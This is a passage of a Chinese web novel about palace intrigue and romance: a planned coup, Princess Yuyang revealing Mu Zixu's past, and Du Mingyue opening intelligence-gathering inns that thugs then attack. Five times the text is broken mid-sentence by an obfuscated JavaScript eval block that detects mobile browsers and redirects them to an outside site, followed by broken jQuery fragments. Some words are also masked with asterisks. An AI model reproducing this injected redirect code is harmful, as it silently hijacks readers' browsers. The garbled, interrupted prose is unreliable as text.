“明月,你听我说。”慕子叙转过身,认真地看着她,“从今天起,接下来不管你听到什么,看到什么,都要相信我。我不会让你陷入危险,我做的所有事,都是为了我们以后能没有后顾之忧地在一起。” 杜明月看着他眼底的坚定,虽然心里满是疑惑,却还是点了点头,“我信你。因为我爱你,所以我无条件相信你,支持你。” 慕子叙的心瞬间被暖意填满,他紧紧握住她的手,“谢谢你,明月。我一定会让你幸福的。” 说完,他带着杜明月快步离开茶楼,直奔三皇子府。 这是杜明月第一次到这里来,也可以算是慕子叙第一次带她见他在京城中的人脉。 杜明月虽然吃惊,但心里是高兴的,因为除了在江南两人的朝夕相处中爱意渐浓,但其实对慕子叙原本在京城中的一切都是不了解的。 杜明月感觉,就好像是真正都进了慕子叙过去的人生中一样,更加了解和接近以前的那个他了。 到了三皇子府邸门口,守门的侍卫看到慕子叙,立马恭敬地行礼,连通报都省了,直接让他们进去。 杜明月有些惊讶:“相公,你跟三皇子很熟吗?” “我曾救过他的命。”慕子叙带杜明月进了府中,一边走,一边解释,“他一直把我当师长看待,对我很信任,所以我才能在这里进出自由。” 两人走进正厅,就见三皇子正坐在椅子上看书,旁边还坐着一个穿着王爷服饰的中年男人。 三皇子看到他们,立马放下书,笑着站起身:“慕先生,您来了。这位就是杜夫人吧?久仰大名。” 他的态度十分客气,丝毫没有皇子的架子。杜明月有些受宠若惊,连忙回礼:“见过三皇子。” “这位是谦王,刚刚回京不久。”三皇子指着旁边的中年男人介绍道,“谦王与慕先生的父亲是好友。” 杜明月一愣,也急忙行礼,当朝异性王不多,慕子叙的父亲算一个,眼前的谦王算一个,这一点,她还是多少有所耳闻的。 她正想着,就听到三皇子对慕子叙低声道,“当年慕家出事时,谦王正好不在京城,没能施以援手,一直很自责。” 慕子叙对着谦王微微一笑道,“谦王不必在意,事情已经过去这么多年,就让它过去吧。” 谦王见慕子叙虽然微笑着,但眼底也有悲伤,就知道他其实是不愿意再提起这件事的,便点了点头。 谦王站起身,目光落在杜明月身上,细细打量了一番,突然笑道:“这姑娘看着真合我眼缘,我很喜欢。” 慕子叙眉头一挑,不动声色地将杜明月往身后拉了拉:“谦王,她是我的妻子。我们已经成亲了。” 谦王愣了愣,随即反应过来,连忙道歉,“抱歉抱歉,是我失言了。我不是那个意思,只是觉得杜夫人有些眼熟,让我想起了一些过去的事。” 谦王尴尬的笑了笑之后,还是认真的看向杜明月,微微出神,像是在透过杜明月看像其他人一样。 片刻后,谦王忍不住苦笑着感叹道,“若是我有女儿,估计也这么大了。” 杜明月心里咯噔一下,一种莫名的预感涌上心头,却没敢多问。 这时,三皇子将话题拉回正事,“慕先生,太子还活着的事,您知道了吗?” 慕子叙点了点头,“刚在茶楼看到了。看来三皇子你的消息要比我的灵通,那我们之前的计划恐怕要改改了。” “是啊。”三皇子叹了口气,抬头看向杜明月和谦王,像是在犹豫要不要直接开口。 慕子叙明白他心中的疑惑,点了点头,认真道,“放心,明月是我的妻子,自然是我们的人,我今天带她来,一是不想骗她,让她担心,二来也是想让她明白眼下的局势,才能更好的自保。” 原本还有些摸不着头脑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244500|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜明月,听到这话,立马意识到了一丝危险的气息,大气不敢出,只是看着三皇子认真的点了点头。 谦王见状,微微一笑,像是在安抚她一般道,“三皇子,我信她,无妨,有事直说就好了。” 三皇子听到他们两人都这么说,就点头道,“好,原本咱们打算凭空捏造事端,发动宫变,拥立我登基虽然可行,可现在太子突然出现,事情就变得复杂了,必须重新部署。” 杜明月听到“发动宫变”“拥立登基”,吓得浑身一僵,没想到慕子叙和三皇子竟然在谋划这么大的事。 她紧紧攥着慕子叙的手,大气都不敢喘。 “太子这次突然出现,一定不是偶然,我想一定是想让董家残存的势力死灰复燃。”慕子叙认真分析道,“他一定也是奔着皇位来的。” 三皇子点头,“没错,我也是这么想的。” 谦王道,“而且,我怀疑,他应该不是孤身一人回来的,说不定他手里还攥着什么势力” 几人又讨论了一会儿新的计划,杜明月一直沉默地站在旁边,直到谈话结束,才跟着慕子叙起身告辞。 刚走到门口,就见一个穿着粉色衣裙的女子走了进来,正是宇阳公主。杜明月心里一惊,下意识地停下脚步。 慕子叙立马将杜明月护在身后,眼神警惕地看着宇阳公主,像是在防备什么。 杜明月更惊讶了,不明白慕子叙为什么会对宇阳公主这么防备。 宇阳公主看到这一幕,眼底闪过一丝受伤,却很快恢复平静,对着慕子叙笑了笑,“慕公子,你还真是一往情深,从一而终。” 她的话让杜明月有些疑惑,却没等她多想,宇阳公主又苦笑着说:“我放弃了,真的放弃了。慕公子,我能不能跟杜夫人单独谈谈?我不会伤害她,只是有些话想告诉她。” 她顿了顿,看向慕子叙,语气带着几分决绝,“你放心,若是我骗了你,违背刚才的誓言,你可以杀了我。” 第一百七十六章 将误会说清 宇阳公主轻轻一笑,神情带着几分落寞和苦涩,“毕竟我这条命是你救回来的,就由你亲手拿走,也算是理所应当。” 慕子叙回头看了看杜明月,眼神里带着询问。杜明月心里确实有很多疑问想跟宇阳公主解开,便点了点头。 慕子叙见状,只能无奈地答应:“好,希望你时刻记得你说过的话。我就在外面等着,若是有什么事,我会立刻进来。” 宇阳公主点了点头,示意杜明月跟她去旁边的偏厅。杜明月深吸一口气,跟着宇阳公主走了过去,心里满是忐忑,不知道宇阳公主到底要跟自己说什么。 偏厅的窗棂上糊着素色纱纸,光线透过纱纸漫进来,在青砖地上投下细碎的光影。 宇阳公主亲手给杜明月斟了杯茶,青瓷茶杯落在桌上时发出轻响,打破了屋里的沉默。 她坐在杜明月对面,指尖轻轻摩挲着杯沿,目光落在杜明月鬓边的银钗上。 宇阳公主看这钗头的并蒂莲做工稍显粗糙,没有金银铺子里做的精致,心里便猜测可能是慕子叙亲手为她做的。 想到这里,宇阳公主的眼中不免流露出了几分羡慕。 果然这样的慕子叙是她不曾见过,也不曾拥有过的。 一开始她心里确实嫉妒,但见自己再怎么努力,也无法动摇慕子叙时,反而被慕子叙对杜明月的真情所打动,因此才生了放弃和成人之美的心思。 “我真羡慕你。”想到这里,宇阳公主忽然开口,声音轻得像风,“羡慕你能得到他的真心,羡慕你能陪在他身边,更羡慕你……能让他为了你,放弃所有执念。” 杜明月握着茶杯的手紧了紧,指尖传来温热的触感,却压不住心头的疑惑,“公主殿下,您……到底想跟我说什么?” 宇阳公主抬眸看她,眼底带着几分复杂的情绪,有失落,有不甘,却更多的是释然,“我想跟你说说我和子叙的过去,也想跟你说说,他这些年到底过得有多难。” “还有,或许你对他有些误会,我今日也想一并将这些话和你说清楚。”犹豫了片刻,宇阳公主又补了一句。 杜明月点点头,端坐着身子,明显对她接下来的话很感兴趣。 她只见宇阳公主端起茶杯喝了一口,像是在给自己打气,缓缓开口:“我第一次见子叙,是在十年前的上元节。” “那时他还是慕家的小公子,鲜衣怒马,意气风发,跟着他父亲来宫里赴宴。我躲在廊柱后,看他在月下舞剑,剑光映着他的眉眼,我就知道,我这辈子,大概是忘不掉这个人了。” 宇阳公主回忆过往,眼神温柔又带着浓烈的爱意,让杜明月都有些看呆了。 “那时,他经常陪他父亲入宫,那时我母妃在宫中不得宠,我又因钦天监的那帮老古板说是不祥之人,因此在宫中处境艰难,甚至有人想杀了我去讨好皇上,皇上竟然也默许了。” 说起这件事,宇阳公主的眼中闪过一抹寒意和杀气,杜明月一愣,心里倒吸了一口凉气。 不得不说,看来这如今的皇帝不仅对百姓多施**,竟然对宫中他自己的血脉也如此心狠手辣,而坑害起忠臣更是绝不心慈手软! 杜明月一想,当今这皇帝真可称得上是残酷无德的**了,甚至可以用人人得而诛之来形容了,也怪不得三皇子等人竟然想找借口发动宫变。 她正想着,就听宇阳公主继续道,“后来慕家出事,他父亲被诬陷通敌叛国,满门抄斩。我偷偷去大牢,看到他被官兵押着,浑身是血,却死死咬着牙,不肯低头。” “他一开始也不想活的,后来还是我几次去哭求,苦劝,他才终于重新有了生的意志,拿出了那张免死金牌。” 宇阳公主想到这里,又忍不住一声叹息,“可我万万想不到,皇上明明答应放了他,却又转头将他充入南风馆!” “你也知道南风馆那是什么地方,皇上这是摆明了就要羞辱他!”一说起这件事,宇阳公主气的攥紧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244501|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手。 而杜明月的心同样也是猛地一揪,她从未听慕子叙提起过这些细节,原来他当年竟受了这么多苦。 “你也知道慕公子本来也是美名冠京城,他被充入南风馆后,”宇阳公主的声音带着几分颤抖,“竟然真的有那些王公贵族想要把他当玩物,妄想来南风馆肆意羞辱他。” “你当然也能猜到,慕公子的脾气怎么可能自甘堕落,他又是曾经带兵斩杀敌将的少年将军,自然是随便动动手指,就能将那些人收拾的服服帖帖。” 宇阳公主叹气道,“可是这也不是长久之计,那些人虽然不能得手,但是却每天来找南风馆的麻烦!” “后来,是我出面,谎称慕公子是我的面首,那些人才逐渐收了心思,当然慕公子和我从来不是那种关系。” 宇阳公主轻轻一笑,“他这辈子,只喜欢过一个人,那个人就是你。” 杜明月一愣,她确实没想到慕子叙竟然从那么早开始,就已经对自己情根深种了。 “后来,他喜欢上了再这里抚琴,我以为他已经听天由命,想再努力让他爱上自己的时候,才知道他从未真正低头,只是行事开始更加低调成熟了。” “我也是从那时起,才知道他竟然暗中成立了情报组织,他在南风馆里隐忍的这些年,一直在偷偷收集当年慕家**的证据。“ “有时,我能看到他眼底的恨意,后来我帮他传递消息,帮他掩护身份,甚至听命于他,我以为只要等他**了**,就能看到我。可我错了,他心里从来都没有我。” 宇阳公主苦笑一声,眼底泛起泪光,“他待我好,不过只是拿我当朋友,而我心悦于他,又曾被他救过性命,甚至甘愿听命于他,但即便如此,他心里还是没有我。” “我以为他只是冷情冷性,眼里也没有别的女子,只要我等的够久,他就能看到我,可是直到我看到他对你的样子,我才知道原来不是这样的,我从一开始就输了。” 第一百七十七章 我都知道了 宇阳公主苦笑了一下,她看着杜明月,眼神里满是认真。 “真的,他看你的时候,眼底没有恨意,没有算计,只有温柔,那种温柔,是我从未见过的。” “他会为了你放下身段,甚至去讨好你,也会为了你,不惜改变自己多年来的复仇计划,只因为他怕你受伤害。” 听到这里,杜明月的眼泪不知不觉掉了下来,滴在茶杯里,漾开一圈圈涟漪。 她想起慕子叙替她擦汗的模样,想起他在雨棚里为她披衣的模样,想起他握着她的手说“绝不会让你受委屈”的模样,原来这些温柔的背后,在她看不见的地方,他在自己做的更多。 “我以前很恨你,恨你为什么要出现在他身边,恨你抢走了我多年的期盼。” 宇阳公主吸了吸鼻子,擦掉眼角的泪,“可后来我想通了,爱一个人,不是要占有他,而是要看着他幸福。子叙跟你在一起的时候,是真的开心,那种开心,是装不出来的。” 她站起身,走到杜明月面前,轻轻握住她的手:“如今知道你们成亲,我替他高兴,也愿意发自内心的称呼你一声杜夫人。” “我今天跟你说这些,不是要博你的同情,也不是要让你觉得亏欠我。我只是想告诉你,子叙是个值得你托付一生的人。” 宇阳公主微微一笑,“他看似温润,实则比谁都固执,认定了的事,十头牛都拉不回来。可他对你,却愿意妥协,愿意改变——这就是爱啊。” “以后,请你一定要好好待他。”宇阳公主的声音带着几分恳求,“他遭受过太多,所以你别再让他受委屈了。还有请你能一直相信他,站在他身边,不管发生什么都能不离不弃。” 宇阳公主顿了顿道,“若是你敢负他,我就算拼了这条命,也不会放过你。” 杜明月用力点头,“我知道,我会的。” 宇阳公主笑了,那笑容里带着释然,也带着祝福,“那就好。我该说的都说完了,你出去吧,慕公子大概还在外面等着担心呢。” 杜明月站起身,对着宇阳公主深深微微点头道,“多谢公主成全。” 她转身走出偏厅,刚到门口,就看到慕子叙焦急地站在那里,看到她出来,立马快步上前:“明月,她没为难你吧?” 杜明月摇了摇头,伸手抱住他的腰,将脸埋在他的怀里,声音带着哭腔,“相公,你这个傻瓜,以后不准再有事瞒着我,知道吗?” 慕子叙一愣,“你都知道了?” 杜明月点头,仰着脸看他,“相公。以后我们再也不分开了好不好?” 慕子叙愣了愣,随即紧紧回抱住她,轻轻拍着她的背,“好,再也不分开了。” 偏厅里,宇阳公主看着两人相拥的背影,缓缓闭上眼。窗外的风拂过,带着淡淡的花香,她的内心也终于释然,知道有些事总是要随风而去,好在也给她留下了美好的记忆。 慕子叙和杜明月离开三皇子府上,马车轱辘碾过京城的青石板路,发出平稳的声响。 杜明月坐在车厢里,指尖轻轻搭在车窗边缘,看着外面往来的商贩与行人。 这京城的热闹与江南不同,就拿她懂得最多的做生意而言,她也能看出来,在江南做生意,大多是为了赚钱和享乐,而在京城做生意,似乎风平浪静之下,总是藏着几分说不清的暗流。 她转头看向身侧的慕子叙,他正低头看着一份密函,眉头微蹙,侧脸在晨光里显得格外沉静。 “相公。”杜明月轻声开口,打破了车厢里的安静,“我想成为能和你并肩承担一切的人。” “我不想有什么事情,你都一个人辛苦的扛着,往后你谋划的那些事,我也想帮衬一把。我不是只能躲在你身后的小女人,铺子里的事情我能打理得井井有条,京城的其他事,我也能学着做。” 慕子叙抬起头,将密函收好,目光落在她脸上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244502|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着几分温柔的笑意,“我知道你有能力,可有些事牵涉甚广,稍有不慎就会惹来杀身之祸,我怕……” “我不怕!”杜明月打断他,语气带着几分执拗,却又满是认真。 “我们是夫妻,本该同担风雨。我不想只做那个等着你来报平安的人,我想跟你一起努力,也想早日让我们往后的日子真正安稳下来。” 她伸手握住慕子叙的手,掌心的温度带着坚定,“我在江南时,从接手一个小小的绸缎庄到如今接管杜家的全部家业,什么样的难缠事没遇过?” “可我现在都能游刃有余的处理所有事,你相信我,我不是需要你时时护着的温室花朵。” 慕子叙望着她眼底的光亮,沉默片刻,终是松了口。 他知道杜明月的性子,认定的事绝不会轻易放弃,与其拦着她,不如给她一个既能出力又相对安全的去处。 他思索半晌,眼中忽然闪过一丝明悟,“或许,你可以在京城开几家客栈。” “开客栈?”杜明月愣了愣,随即反应过来,“你是说,借着开客栈的由头,收集消息?” “正是。”慕子叙点头,耐心解释,“你本就是商人出身,来京城拓展生意合情合理,没人会怀疑。” “而且客栈是人流最杂的地方,南来北往的客人嘴里藏着各地的消息。官员的动向、市井的传闻,甚至是宫里的风吹草动,都能从闲谈中听来。” 慕子叙认真回忆道,“就像这次太子突然现身,三皇子的人就是在城南一家小客栈里发现的,而我之前靠南风馆掩护的情报网,反而慢了一步。” 他看着杜明月微笑道,“你在江南懂经营,开客栈对你来说不算难事。咱们大张旗鼓地盘铺面、招伙计,把场面做足,反而显得坦荡。” “英雄所见略同,我也是这么想的!”杜明月眼睛瞬间亮了,她之前还在愁没机会帮上忙,如今这主意正好合了她的心意。 第一百七十八章 开客栈 “好!就这么定了!”杜明月当即应下,“杜家也没有别的,就是钱多,我明日就去盘铺面。西市、南市还有皇城根下都有位置好的空铺,正好能覆盖京城的主要地段,收集消息也更全面。” 慕子叙看着杜明月壕气的模样,一下子忍不住笑了,“怎么感觉我现在才是真的被你金屋藏娇了,以后等京城诸事了了,我可就是真要靠你养活了!” 杜明月微微一笑道,“我养你!我的钱你随便花,十个我都养得起!” 慕子叙一听,无奈又好笑,故作一本正经的道,“不行!只有我一个人就够了!不许有第二个人!十个更不行!” 杜明月被慕子叙逗笑,两个人一路插科打诨说笑了一路。 第二日一早,两人按前一日定好的,说做就做。 杜明月带着红豆和从富贵叔去了京城各处看铺面。 她出手阔绰,只要看中的铺面,无论原主人开价多少,都爽快答应,不过三日,就盘下了三家临街黄金地段的铺子。 西市那家靠近码头,往来客商多;南市那家挨着贡院,赶考的书生云集;皇城根下那家则离官员府邸近,常有仆从出入。 接下来的日子,杜明月一头扎进客栈的筹备里。她请来了江南最好的工匠,要求按照江南园林的风格装修,大堂要雅致,客房要干净。 她还特意在每个客栈的后院都给自己留了一间僻静的屋子,用作存放账本和整理情报的地方。 慕子叙一有空就来帮忙,从伙计的挑选到客栈的规矩制定,两人都亲力亲为,甚至还悄悄在客房和大堂的柱子里设了暗格,方便传递消息。 不过半月,三家“明月客栈”便同时开业。 开业当天,杜明月出现在皇城根下的那间客栈里。 她请了京城最好的戏班来搭台唱戏,门口挂着长长的红绸,锣鼓声震得整条街都热闹起来。 她穿着一身藕荷色锦裙,站在门口迎客,笑容明媚,身后的伙计们穿着统一的青布长衫,对宾客们夹道欢迎,引得路人纷纷驻足。 往来的商户和百姓见这客栈装修精美,掌柜又是位美丽和气的江南女子,只当是江南富商来京城做买卖,没人多想背后的门道。 开业当天,谦王也特意赶来道贺。 他穿着一身藏青色王袍,身后跟着几个佩刀护卫,手里还提着一个精致的食盒,身后另有护卫拿着他一早准备的其他礼物。 谦王笑着走上前,“杜丫头,恭喜开业!这个是我府里厨子做的杏仁酥,我特意想带来给你尝尝,也给你添点喜气。” “多谢谦王殿下费心。”杜明月连忙接过食盒,侧身将他迎进客栈,“快请进,店里刚沏了雨前龙井,您尝尝。” 谦王走进大堂,目光扫过雅致的陈设,又闻着空气中淡淡的熏香,忍不住点头,“你这客栈打理得不错,看着就舒服。” “不过我倒觉得,光有住店还不够,你这大堂宽敞,不如再隔出一块地方做酒楼,请几个好厨子,住店、吃饭一条龙,保准生意能更火热。” 他笑着看向杜明月,语气带着几分打趣:“我可是出了名的嘴刁,京城哪家馆子的厨子好,我都门儿清。你要是信得过我,我帮你挑厨子,往后天天来给你提建议,保准你这酒楼的生意比客栈还火。” 杜明月眼前一亮,她之前只想着用客栈收集消息,倒没考虑过配套的生意。 客栈配酒楼,既能增加收入,又能让客人停留更久,闲聊时透露出的消息也会更多,确实是个好主意。 “王爷您这主意太好了!”她当即应下,“只是我还不知道哪里能找到好厨子,正愁着呢。” “这你就不用愁了!”谦王拍着胸脯,笑得爽朗,“明日我就给你列个单子,京城最好的鲁菜、苏菜厨子,我都认识。他们要是敢不来,你就报我的名字,保准他们立马过来。” “好!那就多谢王爷了!”杜明月脸上一脸兴奋和开心,整个人都好像在闪闪发光。 慕子叙站在一旁,眼底闪过一丝笑意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244503|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谦王身份尊贵,又与自己父亲是故交,有他常来客栈也好,自己若有事不在,他在这里,还有他那些护卫,也能帮忙护住杜明月。 而且最重要的是,他觉得如果众人都知道谦王是这里的常客,也一定不敢随意来捣乱。 这么一想,他也上前一步,对着谦王拱手道:“那就有劳谦王殿下了。” “客气,客气。”谦王微笑答应。 自那以后,客栈生意和酒楼生意都有条不紊的进入正轨,而谦王仍然每天都来。 有时,他陪着杜明月在大堂里核对账本,有时给她讲京城商户的规矩和官员之间的忌讳。 谦王最喜欢的事,便是拉着她在客栈后院的葡萄架下下棋,棋子落盘时还会念叨“你这步走得太急,该先稳住阵脚”。 杜明月和谦王相谈甚欢,也很喜欢每日谦王出现在客栈的时光,让她甚至都不自觉想起“忘年交”这个词了。 杜明月十分珍视和谦王的这段忘年交,让她很舒服也很心安。 这日午后,谦王又来下棋。 他看着杜明月落下一子,忽然叹了口气:“丫头,我是真喜欢你这性子。沉稳、通透,又有主见。若是我那女儿还活着,今年也该跟你一样大了。” 杜明月捏着棋子的手一顿,抬眸看向他。谦王的眼底带着淡淡的怅然,那是失去至亲的落寞,让她心里微微一痛。 她也是曾经失去过孩子的人,所以很容易对谦王的感慨感同身受。 杜明月也不好细问其中的缘由,只能轻声安慰,“谦王殿下,时间已经过去这么久,您不要一直沉浸在伤痛中,该放下了。” 谦王点头,这个道理他也懂,可是真的想做到却很难。 谦王忽然看向她,眼神认真,“丫头,不如你认我做干爹吧?我是真喜欢你,也全了我想看女儿长大的心。” “往后在京城,有我罩着你,没人敢欺负你。你要是遇到难处,随时去谦王府找我,我定帮你出头。”谦王说的一脸真诚。 第一百七十九章有人** 杜明月脸颊微红,有些为难,“王爷,虽然我确实与王爷投缘,但这未免太突然了。” 谦王见她为难,也不逼她,笑着摆手,“确实是我唐突了,但我说的都是肺腑之言,不如你好好考虑考虑,我也不急于这一时。” 谦王像是生怕杜明月尴尬和自己疏远了一般,急忙将话锋一转,“下棋下棋,这局你要是再不小心,可就要输了。” 一盘棋局结束,杜明月看得出来,谦王为了让自己高兴,特意让了自己,她才终于能赢一回,杜明月也不辜负谦王的用心,终于开心的笑了。 谦王见状,心里暗暗松了一口气,他看了看天色,起身道,“今日,我还有事要回府处理,明日再来和你对弈。” “好。”杜明月点点头,跟着起身。 杜明月送他到客栈门口,看着他的马车消失在街角,才转身回了客栈。 她想着今日的账本还没核对完,便带着红豆上了二楼的一间包厢,她喜欢在这里看账本,这里视野好,又能随时知晓大堂的动静。 和往日的平静安宁不同,今日,她才刚翻开账本看了没两页,就听到楼下传来一阵喧闹声,夹杂着桌椅碰撞的巨大声响和客人的惊呼声。 杜明月心头一紧,立马对红豆说,“快去看看,怎么回事。” 红豆快步下楼,没过多久就慌慌张张地跑回来,脸色发白。 “主子,不好了!有一伙人拿着棍棒来店里**,还砸东西!他们还说,……说您得罪了朝阳长公主,他们是奉了公主的命令来教训您的!” 红豆担忧的看向杜明月,她天天跟在杜明月身边,当然知道杜明月根本没有和这个朝阳长公主接触过,因此她现在十分确定,楼下那群人就是在胡说,故意**。 “朝阳长公主?”同样不解的杜明月皱起眉头。 这个名字她从未听过,更别说得罪了。 她站起身,握紧手里的账本,“走,下去看看。我倒要看看究竟是谁在假借朝阳长公主的名号**!” 此时的杜明月内心还存着着一丝期望,是红豆弄错了人,她根本想不到,这些人竟然真的是朝阳长公主派来的。 两人快步下楼,大堂里已是一片狼藉。几张桌子被掀翻,茶杯瓷器碎了一地,客人吓得四处逃窜。 几个穿着黑衣的壮汉正拿着棍棒打砸柜台,掌柜的想阻拦,却被推搡在地,额头磕出了血。 “住手!”杜明月厉声喝道,声音里带着不容置疑的威严,“光天化日之下,你们竟敢打砸店铺,眼里还有王法吗?” 为首的黑衣壮汉转过身,脸上带着嚣张的笑意,“王法?在这京城,朝阳长公主的话就是王法!” “你这客栈开得让长公主不顺心,我们是来给你点教训!识相的就赶紧把客栈关了,否则下次就不是砸东西这么简单了!” 杜明月一愣,甚至看到对方亮出了朝阳长公主府的腰牌,这才不得不相信,这一切竟然都是真的,可是她依然不能理解,长公主到底为什么要这么做。 “朝阳长公主?我与她素不相识,我不明白,我到底哪里得罪了朝阳长公主?”杜明月冷声道,“你们若是再敢胡来,我就报官了!” “报官?”黑衣壮汉嗤笑一声,“你去报啊!看看京兆尹是帮你这种草民,还是帮朝阳长公主!” 说着,他挥了挥手,“兄弟们,别跟她废话,给我砸!” 几个壮汉再次举起棍棒,朝着旁边的桌椅砸去,甚至还有人竟然直接朝着杜明月挥起了棍棒! 红豆眼疾手快,立马挡在杜明月身前,干净利落的出手,就将此人一脚踢飞在地。 虽然红豆护住了杜明月,却没能完全震慑住这些人,这些壮汉也只是微微一愣,继续开始打压,而且仗着人多,更加肆无忌惮的加快了打压的速度。 杜明月看着眼前的混乱,心里又急又气。慕子叙去了三皇子府议事,谦王也刚刚离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244504|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为这些日子以来一直都平安无事,杜明月也并没有在客栈布置更多的侍卫,此时情况一下子陷入了僵局。 然而就在这时,一个让她意想不到的,有些熟悉和让她厌恶的身影出现了。 “住手!”段骆岐穿着一身月白锦袍,快步冲进来,一脚踹开为首的壮汉。 他一声令下,命身后的一群护卫一拥而上,很快就将那几个壮汉给打趴下了。 “光天化日之下竟敢打砸伤人,你们眼里还有没有王法?” 那群壮汉倒地疼得直吆喝,他们是真的没有料到,竟然真的有不长眼的敢上来阻拦他们。 “你是谁!竟敢阻挠我们替长公主办事!”为首的壮汉捂着肚子,恶狠狠的瞪着段骆岐,好不容易才在两个手下的搀扶下,站了起来。 段骆岐听到这话,猛地一愣,在那个瞬间是有些恐惧和害怕的,他虽然是想出头保护杜明月,可是没有想真的得罪权贵,特别是朝阳长公主这个级别的。 正当段骆岐心中暗暗慌乱,有些后悔,不该没有问清楚就出手时,他突然想起,听说最近被软禁的董皇后好像和长公主的关系不错。 而董皇后也正是因为和朝阳长公主亲近的原因,长公主亲自出面去向皇上求情,已经解除了对董皇后的禁制。 这么一想,段骆岐内心也没那么惊慌了,他想着既然自己是太子的人,长公主肯定不能随便动他,即便她到时真的追究起来,他再找个借口替自己辩解一下就行了。 段骆岐想到这里,立马松了一口气,不仅如此,还转念一想,决定维持住他此刻在杜明月眼中的高大形象。 段骆岐立马板着一张脸,做出毫无畏惧的模样,大义凛然的道,“大胆!你们竟敢这样败坏长公主的名声!说到底是谁派你们来的!” “我听命于太子殿下,常与长公主接触,长公主绝对干不出这种仗势欺人的事!我今天必须要把你们绑了,亲自送到长公主面前!” 第一百八十章段骆岐的纠缠 段骆岐说着,故意虚张声势的让自己手下的人动手绑人,那些来**的壮汉一下子愣住了,为首的壮汉更是皱着眉头认真思索了起来。 说实话,如果是别人今日敢对他们这么做,他一定要将事态继续闹大,让朝阳长公主治对方的罪,可是刚才段骆岐的话说得清楚,他也听得清楚。 眼前这个人是太子的人,替太子做事,而早就被传死去的太子在失踪多年后,突然回来,甚至恢复了身份,有望最终登上皇位的事,在京城里早都传遍了,他更是一早就知道了。 不仅太子的势力他得罪不起,太子、皇后如今和朝阳长公主来往密切的事情,他也早有耳闻,所以他不愿真的给自己找麻烦,决定立马就坡下驴。 于是趁着段骆岐的人还没到跟前,立马态度大变,急忙着急的喊道,“哎,慢着,慢着,好汉,我们打不过你们,我们走还不行吗!不至于这么上纲上线吧。” 这话说的让段骆岐一愣,心里立马松了一口气,立马示意手下的人住手,让他们走。 其实他也心里没底,所以不敢把今天的事情真的闹到长公主面前,这些人愿意配合自己,主动离开,这是好事。 那些**的人见状,立马纷纷离开,但经过杜明月身边时,还是忍不住留下一句警告,“你给我们等着!” 那群人就这么离开,段骆岐也没去追。 他转身看向杜明月,语气带着几分急切,“明月,你没事吧?有没有受伤?” 他说着,就要伸手去碰杜明月的胳膊,想看看她有没有被误伤。 杜明月却往后退了一步,避开他的触碰,语气冰冷,“没什么事,你就走吧,你知道的,我这里不欢迎你。” 杜明月的话让段骆岐一愣,有些心痛,他急忙道,“明月,我今天救了你啊,你是最感恩图报的人不是吗?” 他的话还没说完,就引得杜明月一阵不悦,冷眼看着他讽刺道,“怎么,你还想像当年一样,用这种破事再诓我一次?我可没让你救我。” 段骆岐愣住,他没想到杜明月真的厌恶自己到这种程度,“明月,你……” 杜明月见他还要不依不饶的说什么,就十分不耐烦的敷衍道,“怎么,你今日非要我一句感谢才肯走?” 还没等段骆岐反应过来,杜明月就道,“好,那多谢段侯爷出手相救,接下来的事,就不劳侯爷费心了。红豆,扶掌柜去上药,再让人收拾一下大堂。” 段骆岐脸上的关切瞬间僵住,他看着杜明月疏离的眼神,心里像被针扎一样疼,“明月,你现在为什么对我总是这么狠心?我知道我以前对不起你,可我已经改了!” 